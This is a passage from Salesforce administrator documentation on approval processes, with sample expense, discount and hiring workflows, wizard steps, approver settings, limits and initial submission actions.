Set the filter criteria to: Expense: Amount greater or equal 50.
In the Automatically assign to approver(s) option, select the manager of the user submitting the request.
If appropriate, choose The approver's delegate may also approve this request if you want to
allow the user in the Delegated Approver field to approve requests.

1830

Create

Getting Started with Approval Processes

2. Create a second approval step named Step 2: Multiple VP Approval and specify the following:
Use the filter criteria Expense Amount greater or equal 5000.
Choose Automatically assign to approver(s) and select two users with a VP role.
Select the Require UNANIMOUS approval from all selected approvers option. The request will not
be approved unless both designated users approve.
If appropriate, choose The approver's delegate may also approve this request if you want to
allow the user in the Delegated Approver field to approve requests.
Choose Perform ONLY the rejection actions for this step... so that the request returns to the
manager for changes if one of the VPs rejects the request.
Tip: Consider creating the following final approval actions:

Define a field update to automatically change the Status field to Approved.


Send an approval notification to the user who submitted the expense report.
Send an outbound message to your backoffice financial system to print a reimbursement
check.

Wrap Things Up
After creating the approval process, add the Approval History related list to the Expense Report object page layout. See
Customizing Page Layouts on page 1278.
Tip: Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant
view of the approval requests they need to approve or reject. For instructions on adding this component to your home
page layouts, see Designing Home Tab Page Layouts on page 1301.
If available, use your sandbox to test the approval process, then activate it.

Sample Approval Process: Discounting Opportunities


Available in: Enterprise, Unlimited, and Developer Editions

Opportunities that are discounted more than 40% require a CEO approval. Use this example to create a one-step approval
process.
Prep Your Organization
Before creating the approval process:

Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the
approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 472.
Create a custom percent field on opportunities called Discount Percent so that users can enter a percentage discount.
Create a custom checkbox field on opportunities called Discount Approved to indicate if the CEO approved the
discount.

1831

Create

Getting Started with Approval Processes

Create the Approval Process


Create an approval process on the Opportunity object and specify the following:

The filter criteria for this approval process is Discount Percent greater or equal 0.04. Records must meet
this criteria before they can be submitted to this approval process.
You don't need to choose a custom field as the next automated approver because you will specify later in the process that
the CEO must approve all requests.
Select the email template you created for this approval process.
Choose the record owner as the only user who can submit a discount request for approval.
Create one approval step with no filter criteria because all records submitted will need to be approved or rejected. See
Creating Approval Steps on page 1845.
Choose Automatically assign to approver(s) and select the name of your CEO.
If appropriate, choose The approver's delegate may also approve this request if you want to allow the
user in the Delegated Approver field to approve requests.
Consider creating the following final approval actions:
Send an approval notification to the user who submitted the discount request.
Define a field update to automatically select the opportunity Discount Approved checkbox field.

Wrap Things Up
After creating the approval process, add the Approval History related list to the appropriate opportunity page layouts. See
Customizing Page Layouts on page 1278.
Tip: Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant
view of the approval requests they need to approve or reject. For instructions on adding this component to your home
page layouts, see Designing Home Tab Page Layouts on page 1301.
If available, use your sandbox to test the approval process, then activate it.

Sample Approval Process: Job Candidates


Available in: Enterprise, Unlimited, and Developer Editions

When your company interviews candidates for a position, you may have several levels of approval before you can send an offer
letter. Use this example to create a three-step approval process that requires approval from multiple management levels.
Prep Your Organization
Before creating the approval process:

If you don't yet have a custom object to track candidates, create a custom object and tab called Candidates. See Defining
Custom Objects on page 1735 and Defining Custom Tabs on page 1771. Add the appropriate fields such as Salary, Offer
Extended (checkbox), and Date of Hire.
Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the
approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 472.

1832

Create

Getting Started with Approval Processes

Create the Approval Process


Create an approval process on the Candidate custom object using the following specifications:

Don't enter filter criteria because you want all submitted offers to be approved.
Choose the Manager field as the next automated approver.
Select the email template you created for this approval process.
Choose the record owner or any other user that you want to be able to submit offer letters.
Create three approval steps:
1. Create a step named Step 1: Manager Approval:
No filter is necessary as you want all records to advance to this step.
In the Automatically assign to approver(s) option, select the manager of the user submitting the request.
If appropriate, choose The approver's delegate may also approve this request if you want to
allow the user in the Delegated Approver field to approve requests.
2. Create a second step named Step 2: VP Approval:
No filter is necessary as you want all records to advance to this step.
Choose Let the user choose the approver to allow the manager to select the appropriate VP to approve
the request.
If appropriate, choose The approver's delegate may also approve this request if you want to
allow the user in the Delegated Approver field to approve requests.
Choose Perform ONLY the rejection actions for this step... so that the request returns to the
manager for changes if the VP rejects the request.
3. Create a third step named Step 3: CFO Approval:
No filter is necessary as you want all records to advance to this step.
Choose Automatically assign to approver(s) and select the name of your CFO.
If appropriate, choose The approver's delegate may also approve this request if you want to
allow the user in the Delegated Approver field to approve requests.
Choose Perform all rejection actions for this step AND all final rejection actions.
(Final Rejection) so that offer letters rejected by your CFO are completely rejected.
Tip:

Consider creating the following final approval actions:


Send an approval notification to the user who submitted the offer letter
request.
Define a field update to select the Offer Extended checkbox field.

Consider creating the following final rejection actions:


Send a notification to the manager that the offer won't be extended.

Wrap Things Up
After creating the approval process, add the Approval History related list to the Candidates object page layout. See Customizing
Page Layouts on page 1278.

1833

Create

Getting Started with Approval Processes

Tip: Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant
view of the approval requests they need to approve or reject. For instructions on adding this component to your home
page layouts, see Designing Home Tab Page Layouts on page 1301.
If available, use your sandbox to test the approval process, then activate it.

Choosing an Approval Process Wizard


Available in: Enterprise, Unlimited, and Developer Editions

Approval processes require planning and preparation. Before you create an approval process, determine which wizard is best
for your needs.
Jump Start Wizard
The jump start wizard is useful for simple approval processes with a single step. Use the jump start wizard if you want
to create an approval process quickly by allowing Salesforce to automatically choose some default options for you. For a
list of the options the jump start wizard chooses automatically, see Approval Process Jump Start Default Selections on
page 1865.
To create an approval process using the jump start wizard, see Using the Approval Process Jump Start Wizard on page
1862.
Standard Wizard
The standard wizard is useful for complex approval processes. Use it when you want to fine tune the steps in your approval
process. The standard wizard consists of a setup wizard that allows you to define your process and another setup wizard
that allows you to define each step in the process.
To create an approval process using the standard wizard, see Creating Approval Processes on page 1838.

See Also:
Approval Processes Overview
Getting Started with Approval Processes
Examples of Approval Processes

1834

Create

Getting Started with Approval Processes

Approval Process Considerations


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use approvals:

Various user permissions required depending on the action

Before you implement an approval process for your organization, consider the following:

Active approval processes can't be deleted but they can be deactivated. Before deleting an approval process, make sure it
is inactive and that no records have been submitted for approval. If any records have been submitted, delete them and
remove them from the Recycle Bin.
You can enable email approval response. The email approval response feature gives users the ability to approve or reject
email approval requests by replying to the email. Approvers must have the API Enabled system permission to approve
or reject approval requests via email.
If you make your approval object a detail object in a master-detail relationship, the Owner field isnt available for approval
page layouts or approval post templates.
Educate your users on the criteria for each approval process and what each of your approval processes does. Users can't tell
what approval process is triggered when they click Submit for Approval.
Records are locked while in an approval process. The ability to edit a locked record depends on the record editability setting
of the approval process:
Administrators ONLY: Only users with the Modify All object-level permission for the given object, or the Modify
All Data permission, can edit locked records.
Administrators or the currently assigned approver...: The current approver and users who match
the Administrators ONLY criteria can edit locked records. The current approver must also have edit access to the
record through their permissions and the organization-wide sharing defaults for the given object.

You can still add campaign members to campaigns locked for approval.
Approval processes that allow the user to select an approver manually also allow the user submitting a request to select
himself or herself as the approver.
When you need to update the criteria are met, else and rejection behavior for a step in an inactive, multi-step
approval process, update both at the same time. An error can occur if you change your criteria, save the step, then go back
in to change the rejection behavior.
An approval process can specify a field update action that re-evaluates workflow rules for the updated object. If, however,
the re-evaluated workflow rules include a cross-object field update, those cross-object field updates will be ignored. To
prevent this, ensure that in the approval actions you deselect Re-evaluate Workflow Rules After Field Change for field
updates.

Error Messages

An error message displays for the user submitting an approval request:


If the approval request needs to go to the user's direct manager and there is no direct manager for that user.
If the approval process has a field update that fails standard validation rules for the field. This could happen for a field
that isn't visible on the user's page layout.

1835

Create

Getting Started with Approval Processes

Note: Field updates dont evaluate custom validation rules on fields.

An error message displays for the user submitting an approval request for an entitlement or service contract if both these
conditions are met:
The approval process includes Record Owner as an initial submitter.
The user submitting the approval request isn't the owner of the account associated with the entitlement or service
contract.

Approvals and Queues

You can't use email approval response with approval processes in which the assigned approver is a queue.
You can't assign a group or queue as a delegated approver.
When the assigned approver is a queue:
Any queue member can approve or reject an approval request that is assigned to the queue.
When an approval request is assigned to a queue, the email notification is sent to the email address for the queue.
Depending on your queue settings, an email notification is also sent to each queue member.
When an approval request is assigned to a queue, each queue member's delegated approver also receives an approval
request email notification.
When an approval request is rejected and returned to the previous approver and the previous approver was a queue, the
approval request is assigned to the user who approved it, instead of the queue.
The Approval History related list displays the queue name in the Assigned To column and the actual user who
approved or rejected the approval request in the Actual Approver column.
Note: Queues are only available on specific objects. For more information on queues, see Managing Queues on
page 595.

Limitations

There is a limit of 15 steps per process.


There is a limit of 25 approvers per step.
You can't create outbound messages for approval processes on junction objects.
After an approval process is activated, you can't add, delete, or change the order of the steps or change reject or skip behavior
for that process, even if you make the process inactive.
The Status field cannot be updated by approval processes. If you want to use the contract status as part of an approval
process, Salesforce recommends creating a custom status field.

Approvals and Merge Fields

Approval process merge fields can be used in email templates, but not mail merge templates.
Merge fields in the approval request email are set to the submitter's name and the name of the first step.
When the request is approved, the merge fields update to the most recent approver's name and the name of the second
step, if applicable.

1836

Create

Managing Approval Processes

For subsequent actions, merge field values are updated based on the previous completed step.

See Also:
Getting Started with Approval Processes
Approval Process Terminology
Approval Processes Overview
Process Visualizer Overview
Examples of Approval Processes

Managing Approval Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, delete, or clone approval processes:

Customize Application

To view approval processes:

View Setup and Configuration

An approval process is an automated process your organization can use to approve records in Salesforce. An approval process
specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records
included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when
a record is approved, rejected, recalled, or first submitted for approval.
To manage approval processes, click Your Name > Setup > Create > Workflow & Approvals > Approval Processes.

Select an object from the drop-down list to create, edit, or delete approval processes for that object.
To create a new approval process, click Create New Approval Process. See Creating Approval Processes on page 1838.
To change the order of your active approval processes, change the numbers in the Process Order column and click Reorder.
Click Del next to an inactive approval process to delete it. Before deleting an approval process, make sure it is inactive and
that no records have been submitted for approval. If any records have been submitted, delete them and remove them from
the Recycle Bin.
Click Edit next to an approval process to change it.
Click Activate next to an inactive approval process to activate it. An approval process must have at least one step before
you can activate it.
Click Deactivate next to an active approval process to make it inactive. The approval process moves to the list of inactive
approval processes.
Select an approval process to view the details:
Click Clone to create a new approval process based on the selected approval process.
Click Deactivate to make the approval process inactive.
Click Delete to delete an inactive approval process. Before deleting an approval process, make sure it is inactive and
that no records have been submitted for approval. If any records have been submitted, delete them and remove them
from the Recycle Bin.

1837

Create

Managing Approval Processes

Click Edit and choose an option from the drop-down button to jump to the appropriate wizard page:
-

Specify Name, Unique Name, and Description


Specify Criteria for Entering Process
Specify Approver Field and Record Editability
Select Email or Chatter Post Notification Template
Configure Approval Request Page Layout
Specify Initial Submitters

Tip: You can use the Developer Console to debug workflow rules. The Developer Console lets you view debug log
details and information about workflow rules and actions, such as the name of the user who triggered the workflow
rule and the name and ID of the record being evaluated.

See Also:
Getting Started with Approval Processes
Approval Process Terminology
Approval Process Checklist
Managing Multiple Approval Requests
Process Visualizer Overview
Examples of Approval Processes

Creating Approval Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create approval processes:

Customize Application

An approval process is an automated process your organization can use to approve records in Salesforce. An approval process
specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records
included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when
a record is approved, rejected, recalled, or first submitted for approval.
Before you begin, determine which wizard to use. See Choosing an Approval Process Wizard on page 1834. To create an approval
process:
1.
2.
3.
4.
5.
6.

Launch the Approval Process Wizard.


Specify Name, Unique Name, and Description.
Specify Criteria for Entering Process.
Specify Approver Field and Record Editability.
Select Email or Chatter Post Notification Template.
Configure Approval Request Page Layout.

1838

Create

Managing Approval Processes

7. Specify Initial Submitters.


8. Activate the Approval Process.
Launch the Approval Process Wizard
1. Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes.
2. Choose the object for the new approval process.
3. Click Create New Approval Process and choose Use Standard Setup Wizard from the drop-down button. Alternatively,
click Use Jump Start Wizard if you want to create a basic approval process with default settings. For instructions on using
the jump start wizard, see Using the Approval Process Jump Start Wizard on page 1862.
Specify Name, Unique Name, and Description
1. Enter a name for the new approval process.
2. Enter a unique name, which will be used to refer to this approval process in the Force.com API. In managed packages,
this unique name prevents naming conflicts on package installations. The requirement for uniqueness is only within the
selected object type. You can have two approval processes with the same unique name, provided they are defined for
different objects, such as one for Campaigns and one for Opportunities. The Unique Name field can contain only
underscores and alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include
spaces, not end with an underscore, and not contain two consecutive underscores.
3. Optionally, enter a description.
4. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store
your changes.
Specify Criteria for Entering Process
If only certain types of records should enter this approval process, do one of the following:

Select criteria are met if you want to set a filter criteria that a record must meet to enter this approval process. For
example, if only employees from headquarters should use this approval process to submit expense reports, enter the following
filter criteria: Current User: Office Location Equals Headquarters. For more information on using filter criteria, see
Entering Filter Criteria on page 2961.
1. Enter filter criteria for records that you want included in this approval process. Leave the filter blank if you want all
records submitted to be included in the approval process. For information on using filter criteria, see Entering Filter
Criteria on page 2961.
Note: Select a current user field if you want to filter based on the user submitting an approval request.

2. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store
your changes.

Select formula evaluates to true if you want a formula to determine what records enter the approval process.
1. Enter a formula that returns True or False. A record enters the approval process if the formula returns True. For
example, use the following formula to require a record to enter this approval process when the record's discount approval
cutoff date is less than 30 days away:
(Discount_Approval_CutoffDate__c < (CloseDate - 30)

2. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store
your changes.

1839

Create

Managing Approval Processes

For information on using formulas, see Building Formulas on page 1147. Some functions are not available in approval process
formulas. For information on which functions you can use in approval process formulas, see Operators and Functions on
page 1203.
Specify Approver Field and Record Editability
When you define approval steps, you can assign approval requests to different users. One option is to use a user field to
automatically route these requests. The user field can be any custom hierarchical relationship field such as Account Manager
or the Manager standard user field. To see some examples of specifying a user field as an approver field, see Examples of
Approval Processes on page 1828.
When a record is in the approval process, it is always locked; only an administrator can edit it. However, you can also allow
the currently-assigned approver to edit the record. You can still add campaign members to campaigns locked for approval.
1. From the Next Automated Approver Determined By picklist, select a user field if you want Salesforce to automatically
assign approval requests to an approver based on the value in the user field. For example, you may want approval requests
automatically routed to a user's manager as specified in the Manager standard user hierarchy field. Or, you may want
approval requests automatically routed to an associate specified in a custom Account Manager user field.

To specify a user to approve all approval requests, leave this field blank. You can select a user, or users, as the approver
when creating an approval step.
Caution: If you leave the Next Automated Approver Determined By field blank, you can't automatically
assign approval requests to the manager in any step you create for this approval process.

Optionally, select the Use Approver Field of Record Owner checkbox if you want the approval process to use
the Manager standard user field or a custom field on the record owner's user record instead of the submitter's user
record. Once you use this setting in a step, and in subsequent steps, it refers to the manager of the approver, not the
manager of the record owner.
Note: Make sure the assigned approver has access to read the records for the approval requests. For example, a
user who does not have read access to an Expenses custom object will not be able to view expense approval requests.

2. Select Administrators ONLY... if you want only users with the Modify All object-level permission for the given
object, or the Modify All Data permission, to be able to edit records that are pending approval. Select Administrators
OR... if you want the assigned approver to be able to edit the records too. The assigned approver must also have edit
access to the record through both their permissions and the organization-wide sharing defaults for the given object. When
a record is submitted for approval, it is automatically locked to prevent other users from editing it during the approval
process.
3. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store
your changes.
Select Email or Chatter Post Notification Template
When an approval process assigns an approval request to a user, Salesforce automatically sends the user an approval request
email. The email contains a link to the approval page in Salesforce, where the user can approve or reject the request and add
comments. If email approval response is enabled, the user can alternatively reply to the email by typing approve, approved,
yes, reject, rejected, or no in the first line of the email body, and adding comments in the second line. This option is
especially useful for users who might receive approval requests on a mobile device.
Note: Approvers must have the API Enabled system permission to approve or reject approval requests via email.

1840

Create

Managing Approval Processes

If your organization has Approvals in Chatter enabled, you can also elect to send your approver a notification via Chatter.
Note: Chatter post approval notifications are only available for approval processes associated with an object that has
been enabled for feed tracking.
If the assigned approver has opted to receive approval notifications as Chatter posts, they'll see a post on their Chatter feed
in addition to getting the approval request email.
1. Choose a custom email template to use when notifying approvers that an approval request is assigned to them, or leave
this field blank to use the default email template. Each approval process uses a single email template for all steps. For more
information on creating email templates, see Managing Email Templates on page 472.
Note: If email approval response is enabled, be sure the email template you use describes how to correctly use both
response options: clicking the link and replying by email. If the user doesn't respond correctly (for example, if the
user misspells approve or types it on the wrong line), Salesforce doesn't register the user's response.
If the email template you choose contains approval merge fields named {!ApprovalRequest.field_name},
these fields will return values only when that email template is used as the approval assignment template. If you
use the template for any other email alert actionin either workflow rules or approval processesthe merge fields
will return a null value.
2. If available, choose an approval post template to use when notifying approvers via a post in their Chatter feed. If you don't
pick an approval post template, the approval post for the object uses either the system default template or, if you created
one, the default template for the object. For more information on creating approval post templates, see Creating and
Editing Approval Request Post Templates for Chatter on page 1860.
Note: Only users with access to the approval record can see the approval request post. Comments on approval
posts aren't persisted to the approval record.
3. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store
your changes.
Configure Approval Request Page Layout
The approval page is where an approver approves or rejects a request.
1. Select the fields you want to display on the approval request page and click Add.
2. Sort the fields by selecting them and clicking Up or Down.
3. Select Display approval history information... to include the Approval History related list that lists such
fields as Date, Assigned To, Actual Approver, and Comments. To modify the fields displayed on the Approval
History related list, see Customizing Page Layouts on page 1278.
4. Select Add Approval History Related List... to update all the page layouts for this object to include a related
list that allows users to submit approval requests and track them.
5. Choose a security setting:
Allow approvers to access the approval page only from within the application

Requires users to log in to Salesforce before approving or rejecting an approval request.


Allow approvers to access the approval page only from within the application, or
externally from a wireless-enabled mobile device

Users can approve requests from the email notification they receive via a wireless device. Note that this prevents the
approver from selecting a Salesforce user as the next approver.
6. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store
your changes.

1841

Create

Managing Approval Processes

Specify Initial Submitters


Specify which users are allowed to submit records for approval. For example, choose Owner if expense reports can only be
submitted by record owners.
1. Select a Submitter Type, enter a search term, and click Find.
2. Select from the list of available submitters and click Add.
3. Optionally, select Allow submitters to recall approval requests to give submitters the option to withdraw their approval
requests. If the Allow submitters to recall approval requests option is selected for the approval process, both submitters
and administrators can see the Recall Approval Request button in the Approval History related list on the detail page of
submitted records; otherwise, only administrators can see it. When a user clicks Recall Approval Request, the pending
approval request for the record is withdrawn and recall actions are run. For more information, see Recall Actions on page
1853.
This option is useful for situations that can change on the submitter's side while waiting for an approval. For example, an
opportunity might be lost after the user submits it for approval.
4. Click Save.
Activate the Approval Process
Activate the process after you have created at least one approval step for the approval process. See Creating Approval Steps
on page 1845.
To activate a process:
1. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store
your changes.
2. Click Activate next to the process.

See Also:
Getting Started with Approval Processes
Managing Approval Processes
Managing Approval Steps
Customizing Workflow and Approval Settings
Initial Submission Actions
Final Approval Actions
Final Rejection Actions
Recall Actions
Selecting Approval Actions
Creating Approval Actions
Process Visualizer Overview
Approval Process Considerations
Examples of Approval Processes
Getting Started With Approvals in Chatter

1842

Create

Managing Approval Processes

Viewing Your Approval Process


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view approval processes:

Customize Application

To view the details of an approval process, go to Your Name > Setup > Create > Workflow & Approvals > Approval Processes
and click a process name.
In the header of the approval process detail page you can:

Edit, clone, or delete the process.


Activate or deactivate the process.
Click View Diagram to see a graphical representation of the process in the Process Visualizer.
View the process name, unique name, description, entry criteria, record editability, and initial submitters.
See which email template is assigned to the process.
If Approvals in Chatter is enabled in your organization, see which approval request Chatter post template is assigned to
the process. If the Approval Post Template field is blank, then the process is using either the system default post
template or the object's custom default post template.
See if the process is active.
See what determines the next automated approver.
See if submitters are allowed to recall approval requests.

From the related lists on this page you can:

Add an existing action.


Create a new action and apply it to the process.
Edit or remove actions.
Add a new approval step.
Edit or delete steps.

See Also:
Managing Approval Processes

1843

Create

Managing Approval Processes

Managing Approval Steps


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit or delete approval steps:

Customize Application

To view approval steps:

View Setup and Configuration

Approval steps assign approval requests to various users and define the chain of approval for a particular approval process.
Each approval step specifies the attributes a record must have to advance to that approval step, the user who can approve
requests for those records, and whether to allow the delegate of the approver to approve the requests. The first approval step
in a process also specifies the action to take if a record does not advance to that step. Subsequent steps in the process also allow
you to specify what happens if an approver rejects the request.
To manage the steps for an approval process, click Your Name > Setup > Create > Workflow & Approvals > Approval
Processes and then select the approval process.
The Approval Steps related list shows all the steps and actions for the approval process.

If the actions for each step are not listed, click Show Actions to display the Approval Actions and Rejection Actions related
lists. Use these related lists to:
Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow
rules that use it. This option is only available for some types of actions.
Click Remove to remove the action from the approval process. This does not delete the action. This option is only
available for some types of actions.
Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1854.
Click Add New and select the appropriate type to create a new action and associate it with the approval process. See
Creating Approval Actions on page 1855.

Click Hide Actions to collapse the list of approval steps.


Click Edit to change the step. For information on approval step attributes, see Creating Approval Steps on page 1845.
Click Del to remove a step. This option is not available when the approval process is active.
Click New Approval Step to create an additional step. This option is not available when the approval process is active.
See Creating Approval Steps on page 1845.

See Also:
Approval Process Terminology
Getting Started with Approval Processes
Process Visualizer Overview
Examples of Approval Processes

1844

Create

Managing Approval Processes

Creating Approval Steps


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create approval steps:

Customize Application

Approval steps assign approval requests to various users and define the chain of approval for a particular approval process.
Each approval step specifies the attributes a record must have to advance to that approval step, the user who can approve
requests for those records, and whether to allow the delegate of the approver to approve the requests. The first approval step
in a process also specifies the action to take if a record does not advance to that step. Subsequent steps in the process also allow
you to specify what happens if an approver rejects the request.
The actions you associate with an approval step can be reused in workflow rules. To create approval steps:
1. Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes, and select the name of the approval
process.
2. Click New Approval Step from the Approval Steps related list. If this button is not available, the approval process is active
and you cannot add more steps. There is a limit of 15 steps per process.
3. Enter a name, a unique name, and description for this step.
Note: The Unique Name field can contain only underscores and alphanumeric characters. It must be unique
within the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain
two consecutive underscores. The unique name will be used to refer to this specific approval process step in the
Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. The
requirement for uniqueness is only within a specific approval process. You can have two approval process steps
with the same unique name, provided they are defined for different approval processes.
4. Enter a step number that determines the order of this step in relation to the other steps in this approval process.
5. Click Next.
6. If only records with certain attributes should enter this step, select Enter this step if the following... and
choose one of the following options:

Select criteria are met and set the filter criteria a record must meet to enter this step. For example, if this step
should only apply to records submitted by employees from headquarters, enter the following filter criteria: Current
User: Office Location Equals Headquarters. For more information on using filter criteria, see Entering
Filter Criteria on page 2961.
Select formula evaluates to true and enter a formula that returns a value of True or False. Records enter
this step only if the formula returnsTrue. For example, use the following formula to require a record to enter this
approval step when the record's discount percentage is greater than the most recent approver's discount threshold:
(Discount_Percentage__c > $User.Discount_Threshold__c)

For information on using formulas, see Building Formulas on page 1147. Some functions are not available in approval
step formulas. For information on which functions you can use in approval step formulas, see Operators and Functions
on page 1203.

1845

Create

Managing Approval Processes

7. If you specified filter criteria or entered a formula, choose what should happen to records that do not meet the criteria or
if the formula does not return True.
Note: You cant change your selection after the approval process has been activated, even if you deactivate the
approval process.
The options are:
approve record

Automatically approves the request and performs all final approval actions.
reject record

Automatically rejects the request and performs all final rejection actions. This option is only available for the first
step in the approval process.
go to next step

Automatically skips this step and goes to the next step.


Important:

The go to next step option is only available when editing a step that already has an ensuing step. To
select go to next step, create an ensuing step, then select this option in the preceding step.
The go to next step option is unavailable for the final step in the approval process.
If you select go to next step in a step and delete all the ensuing steps, Salesforce automatically removes
the go to next step definition from that step and ends the process if the step criteria are not met. However,
if you select go to next step in your first step and delete all the ensuing steps, Salesforce changes the first
step to automatically reject record if the step criteria are not met.
If you select go to next step in the first step and the record does not meet the criteria for any of the steps
in the approval process, the record is rejected.

8. Click Next.
9. Specify who must approve the approval requests that enter this step. The options are:
Let the submitter choose the approver manually.

Prompts the user to manually select the next approver.


Automatically assign using the user field selected earlier.

Assigns the approval request to the user in the custom field that is displayed next to this option. This custom field
was selected during the configuration of the approval process. See Creating Approval Processes on page 1838.
Automatically assign to a queue.

Assigns the approval request to a particular queue. Queues are only available on specific objects. For more information
on queues, see Managing Queues on page 595. For more information on approval requests assigned to queues, see
Approval Process Considerations on page 1835.
Automatically assign to approver(s).

Assigns the approval request to one or more of the following:


User

Any Salesforce user in your organization.

1846

Create

Managing Approval Processes

Related User

A user specified in any user lookup field on the submitted record, such as the Last Modified By field.
Use Add Row and Remove Row to change the number of approvers. There is a limit of 25 approvers per step.
Note: When specifying approvers, note the following:

Make sure the assigned approvers have permission to read the records for the approval request. For example,
a user who does not have read access to an Expense custom object can't view expense approval requests.
You can't assign approval requests to partner users.
To use email approval response:
The assigned approver cant be a queue.
Approvers must have the API Enabled system permission to approve or reject approval requests via email.

You can assign an approval request to the same user multiple times in a single step; however, Salesforce recognizes
such redundancies and only requests a single approval from the user.
After a record enters an approval step, the designated approvers for that step don't change even if the approval
process returns to that step and the values of related user fields that designate the approvers have changed. For
example, consider an approval process in which the first step requests approval from a user's manager. If the
approval request is rejected in the second step and sent back to the first step, the user's original manager receives
the approval request again even if the user's manager has changed.

10. If you specify multiple approvers in the Automatically assign to approver(s) option, choose one of the following:
Approve or reject based on the first response.
The first response to the approval request determines whether the record is approved or rejected.
Require unanimous approval from all selected approvers.
The record is only approved if all of the approvers approve the request. The approval request is rejected if any of the
approvers reject the request.
11. Optionally, select The approver's delegate may also approve this request. A delegate is the user listed
in the Delegated Approver field on the assigned approver's user detail page. Delegated approvers can't reassign approval
requests; they can only approve or reject approval requests.
12. If this is not the first step in the approval process, specify what will happen if the approver rejects a request in this step:
Perform all rejection actions...

Automatically rejects the request completely regardless of any previous steps that were approved. Salesforce performs
all rejection actions specified for this step and all final rejection actions.
Perform ONLY the rejection actions for this step...

Automatically rejects the request and returns the approval request to the previous approver. Salesforce performs all
rejection actions specified for this step.
Note: If this is the first step in an approval process, the rejection behavior is determined by the Final Rejection
Actions for the approval process.
13. Click Save.
14. Specify any workflow actions you want to occur during this step:

1847

Create

Managing Approval Processes

Yes, I'd like to create a new approval action...


Select the type of action and click Go! to begin creating an action and associate it with this approval step.
Yes, I'd like to create a new rejection action...
Select the type of action and click Go! to begin creating an action and associate it with this approval step.
No, I'll do this later...
Select this option and click Go! to view the details of the approval process.
Approval actions execute when a record in this step of the approval process is approved. Rejection actions execute when a
record in this step is rejected. For instructions on adding actions, see Selecting Approval Actions on page 1854 and Creating
Approval Actions on page 1855.
15. Optionally, add additional approval actions and rejection actions to the step. Click Show Actions next to a step to view
the Approval Actions and Rejection Actions related lists.

See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Process Visualizer Overview
Examples of Approval Processes
Changing Your Approval User Preferences
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view approval processes:

View Setup and Configuration

To approve, reject, or reassign approval requests:

Permissions vary depending on the approval process settings

The Approver Settings section of the User detail page lets you set your preferences for receiving approval request emails,
including opting not to receive them at all.
To set up or edit your Approver Settings, click Your Name > Setup > My Personal Information > Personal Information.
Click Edit on the User detail page.
In the Approver Settings section, you can:

Optionally, select your Delegated Approver.


Note: You can't assign a group or queue as a delegated approver.

Optionally, enter your Manager.

1848

Create

Managing Approval Processes

Set your preference for receiving approval request emails. The options are:

If I am an approver or delegated approver


Only if I am an approver
Only if I am a delegated approver
NeverIf you select this option, you won't receive any approval request emails, even if your organization has email
approval response enabled. However, if the assignee of an approval step is a queue, selecting Never may not block all

approval request emails, depending the queue settings.


When an approval request email is sent to the assigned approver, the delegated approver also receives an email notification
that there is an approval request to review. Delegated approvers can't reassign approval requests; they can only approve or
reject approval requests.
Note: When an approval request is assigned to a queue, each queue member's delegated approver also receives an
approval request email notification. For more information about approval requests and queues, see Approval Process
Considerations on page 1835.

See Also:
Managing Approval Steps
Creating Approval Steps
Approval Process Terminology
Creating Queues

Initial Submission Actions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit initial submission actions:

Customize Application

Initial submission actions are the actions that occur when a user first submits a record for approval. By default, an action to
lock the record runs automatically on initial submission. Initial submission actions can include any approval actions such as
email alerts, field updates, tasks, or outbound messages. For example, an initial submission action can update a custom approval
status field to In Progress.
When a user submits a record for approval, Salesforce sends an approval request email to the approver as defined in the approval
step, and then executes a default initial submission action called Record Lock. You can select up to 40 additional actions to
occur when a record is initially submitted for approval, 10 of each of the following types:
Type

Description

Task

Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.

Email Alert

Uses an email template you specify to send an email to a designated recipient.

1849

Create

Managing Approval Processes

Type

Description

Field Update

Changes the value of a selected field. You can specify a value or create a formula for the new
value.

Outbound Message

Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.

To manage the initial submission actions for an approval process, click Your Name > Setup > Create > Workflow & Approvals
> Approval Processes and select the approval process.
The Initial Submission Actions related list shows all the actions that take place when a record is submitted for approval.

Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules
that use it. This option is only available for some types of actions.
Click Remove to remove the action from the approval process. This does not delete the action. This option is only available
for some types of actions.
Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1854.
Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next,
configure the action:

Configure the email alert.


Configure the field update.
Configure the outbound message.
Configure the task.

See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Process Visualizer Overview

Final Approval Actions


Available in: Enterprise, Unlimited, and Developer Editions

